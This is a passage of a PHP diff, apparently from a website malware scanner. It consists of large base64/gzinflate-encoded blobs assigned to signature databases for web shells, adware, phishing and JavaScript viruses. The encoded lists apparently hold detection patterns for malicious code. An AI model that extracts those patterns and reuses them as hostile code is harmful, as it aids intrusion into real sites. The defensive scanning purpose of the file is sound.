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")));
- self::$X_FlexDBShe = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$XX_FlexDBShe = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$_ExceptFlex = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$_AdwareSig = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$_PhishingSig = unserialize(gzinflate(/*1601287329*/base64_decode("S7QysKquBQA=")));
- self::$_JSVirSig = unserialize(gzinflate(/*1601287329*/base64_decode("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